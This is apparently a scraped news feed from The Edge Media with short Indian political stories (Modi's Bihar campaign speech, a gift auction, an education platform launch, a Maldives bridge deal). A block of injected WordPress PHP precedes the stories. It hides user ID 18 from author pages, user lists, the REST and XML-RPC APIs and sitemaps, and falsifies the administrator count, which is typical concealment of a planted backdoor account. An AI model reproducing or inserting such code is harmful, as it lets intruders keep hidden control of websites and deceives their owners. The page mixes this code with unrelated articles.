add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post PM Modi Accuses Congress of Reluctantly Backing Tejashwi Yadav Under Pressure from RJD appeared first on The Edge Media.
]]>The Prime Minister remarked that the Congress wanted to defeat the RJD in the Bihar elections and hinted that the alliance partners would soon be at odds once the second phase of voting concluded on November 11. Without naming Rahul Gandhi or Tejashwi Yadav directly, Modi referred to them as political heirs of the so-called “jungle raj” and suggested that their rivalry was already evident in seats where both parties had fielded candidates.
He mentioned the Kutumba constituency, where the RJD had initially planned to contest against state Congress president Rajesh Kumar, describing such incidents as signs of internal conflict. Modi predicted a record victory for the National Democratic Alliance and asserted that the ruling coalition would continue to provide stable and visionary governance aimed at building a prosperous Bihar as part of a developed India.
The Prime Minister emphasized that Bihar’s voters had not forgotten the period of lawlessness under earlier regimes and said that the current government’s honest manifesto reflected its genuine commitment to the future. He contrasted this with what he described as a deceptive set of promises offered by the opposition alliance. Modi added that his government envisioned a Bihar where youth would find employment within the state and contribute to its growth rather than being forced to migrate for work.
He highlighted achievements under the NDA government, including improved electricity connectivity and financial inclusion programs for small farmers who had long been ignored. Modi also praised the contribution of Bhojpur and surrounding districts to the armed forces and reiterated his administration’s commitment to national security. He mentioned that the One Rank One Pension initiative had already led to the disbursement of one lakh crore rupees to servicemen’s families.
Referring to national policies, the Prime Minister said that his government had fulfilled its promise to revoke Article 370, ensuring full constitutional integration of Jammu and Kashmir. He also cited Operation Sindoor as an example of India’s successful counter-terrorism efforts, adding that opposition leaders had been disturbed when India struck terror camps across the border.
Modi accused the RJD and Congress of prioritizing only two political families—one associated with corruption in Bihar and the other at the national level. He recalled the 1984 anti-Sikh riots following the assassination of Indira Gandhi and criticized the Congress for allegedly promoting those responsible.
Indirectly referencing the Voter Adhikar Yatra, he claimed that it aimed to protect infiltrators who threatened Bihar’s resources and warned voters to remain alert to such intentions. The Prime Minister also referred to past incidents during the RJD regime, such as the abduction of a doctor in Tarari and the decline of Dalmia Nagar due to Naxal violence, asserting that extortion was rampant at the time.
He announced that the NDA planned to develop Jagdishpur, the birthplace of freedom fighter Veer Kunwar Singh, emphasizing that his government believed in progress that preserved cultural heritage. Modi accused the Congress and RJD of disrespecting cultural traditions, citing their remarks about religious events such as the Maha Kumbh and Chhath Puja. He urged residents who had returned home for Chhath celebrations to stay and vote.
In Nawada, once affected by Maoist activity, Modi noted that the NDA had eliminated insurgency but cautioned people to remain vigilant against urban sympathizers of extremist ideologies.
The post PM Modi Accuses Congress of Reluctantly Backing Tejashwi Yadav Under Pressure from RJD appeared first on The Edge Media.
]]>The post PM Narendra Modi has urged people to participate in an e-auction of gifts he has received appeared first on The Edge Media.
]]>The Prime Minister tweeted that “Over time, I have received several gifts and mementos which are being auctioned. This includes the special mementos given by our Olympics heroes. Do take part in the auction. The proceeds would go to the Namami Gange initiative.”
The e-auction, which is being organized by the Ministry of Culture, began on Friday, on the Prime Minister’s birthday, and will run through October 7. This is the third iteration of an auction like this, and any one or any organization can join by visiting https://pmmementos.gov.in.
The post PM Narendra Modi has urged people to participate in an e-auction of gifts he has received appeared first on The Edge Media.
]]>The post National Digital Architecture likely to play a major role in eradicating inequality in the education system : PM Modi appeared first on The Edge Media.
]]>While inaugurating the Shikshak Parv conclave through video conference in New Delhi, PM Modi said “N-DEAR is likely to play a major role in eradicating inequality in education and its modernization. N-DEAR will act as a “super connect” between various academic activities in the same way as UPI interface revolutionized the banking sector. The country is making technology like Talking Books and Audiobooks a part of education.”
The Prime Minister said that “Vidyanjali 2.0” is like a platform for the country’s resolve of “Sabka Prayas” with “Sabka Saath, Sabka Vikas, Sabka Vishwas”.
In this society, our private sector has to come forward and contribute to increasing the quality of education in government schools, he said.
“Vidyanjali 2.0”, a portal launched for facilitating education volunteers, donors and CSR contributors for school development.
PM Modi also launched School Quality Assessment and Assurance Framework (SQAAF) which would address the deficiency of the absence of a common scientific framework for dimensions like curriculum, pedagogy, assessment, infrastructure, inclusive practices and governance process. SQAAF will help in bridging this inequality.
The theme of “Shikshak Parv-2021” is “Quality and Sustainable Schools: Learnings from Schools in India”. Its celebration will encourage innovative practices to ensure not only continuity of education at all levels but to improve quality, inclusive practices and sustainability in the schools across the country as well.
Union Education Minister Dharmendra Pradhan and Union Minister of State for Education Jitin Prasada were also present at the event.
(Except for the headline, this story has not been edited by The Edge Media staff and is published from a syndicated feed.)
The post National Digital Architecture likely to play a major role in eradicating inequality in the education system : PM Modi appeared first on The Edge Media.
]]>The post BJP Kisaan Morcha to celebrate PM Modi’s 71st birthday as ”Kisan Jawan Samman Diwas” appeared first on The Edge Media.
]]>Party will honour families of soldiers who have made the supreme sacrifices, honour farmers who played a historic role in the field agriculture on the occasion of Prime Minister Narendra Modi’s birthday,” said Rajkumar Chahar, BJP Kisan Morcha, national president on Friday.
He informed that apart from the farmers, the BJP Kisan Morcha will also honour the border guards, martyrs, loyal and dedicated ex-soldiers along with their families.
Party will also honour apart from self-reliant, progressive farmers who are working consistently to achieve PM Modi’s vision of Atmanirbhar Bharat, guards of the country’s borders, martyrs, dedicated, loyal, ex-soldiers and their families by giving them a letter of honour for the work done by them in the national interest and their important role,” he said.
Additionally, the Kisan Morcha will spread awareness at the district level regarding the schemes launched by Prime Minister Narendra Modi in the field of doubling the farmers’ income and the initiatives launched to make them self-reliant.
The post BJP Kisaan Morcha to celebrate PM Modi’s 71st birthday as ”Kisan Jawan Samman Diwas” appeared first on The Edge Media.
]]>The post India and Maldives are Set to Sign an Agreement on a Project to Improve Male Connectivity appeared first on The Edge Media.
]]>The project, which is backed by a $100 million Indian grant and a $400 million Line of Credit, is also India’s largest new construction project in its neighborhood in recent years. The Maldives government and Indian infrastructure giant AFCONS will sign a contract in Male to kick off the project, which will be the largest in the Indian Ocean atoll nation.
Called the Greater Male Connectivity Project, it will involve the construction of a 6.74 km long bridge and causeway link connecting the capital Male with the adjoining islands of Villingli, Gulhifalhu, and Thilafushi.
The post India and Maldives are Set to Sign an Agreement on a Project to Improve Male Connectivity appeared first on The Edge Media.
]]>